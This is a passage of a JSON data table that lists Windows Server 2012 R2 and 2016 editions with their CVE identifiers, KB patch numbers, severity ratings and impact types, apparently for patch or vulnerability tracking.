Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126434","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3146723","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3177108","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197873","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3197873","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012213","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041693","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054519","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022726","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025336","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038792","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0832","kb":"4074594","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0833","kb":"4074594","severity":"Moderate","impact":"Denial of Service"},{"cve":"CVE-2018-0886","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093114","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8174","kb":"4103725","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462926","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467703","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467697","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103725","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487000","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493446","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534297","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537821","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571703","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571703","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601384","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003209","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003209","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003671","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004954","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005076","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005613","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006714","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014738","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029312","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025285","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026415","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073696","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028228","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-50868","kb":"5039294","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-38193","kb":"5041828","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043138","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048735","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5050048","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053887","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053887","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053887","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053887","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055557","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058380","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058403","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060996","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066873","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062597","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063950","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063950","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070886","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-64720","kb":"5082126","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082126","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2012 R2 (Server Core installation)":[{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"","impact":"Windows Library Loading"},{"cve":"CVE-2016-0151","kb":"3146723","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-3237","kb":"3177108","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-7255","kb":"3197873","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012213","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041693","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054519","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022726","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025336","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038792","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0832","kb":"4074594","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0833","kb":"4074594","severity":"Moderate","impact":"Denial of Service"},{"cve":"CVE-2018-0886","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093114","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8174","kb":"4103725","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462926","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467703","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467697","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103725","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487000","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493446","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534297","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537821","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571703","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571703","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601384","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003209","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003209","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003671","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004954","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005076","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005613","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006714","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014738","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029312","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025285","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026415","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073696","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028228","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-50868","kb":"5039294","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-38193","kb":"5041828","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043138","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048735","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5050048","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053887","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053887","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053887","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053887","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055557","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058380","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058403","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060996","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066873","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062597","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063950","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063950","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070886","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-64720","kb":"5082126","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082126","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2012 R2 (server core installation)":[{"cve":"CVE-2014-0295","kb":"2901125","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3023562","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126041","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0151","kb":"3146723","severity":"Important","impact":"Security Feature Bypass"}],"Windows Server 2016":[{"cve":"CVE-2016-7200","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3200970","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4013429","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041691","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4041691","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048953","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053579","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022715","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022715","severity":"Important","impact":"Information 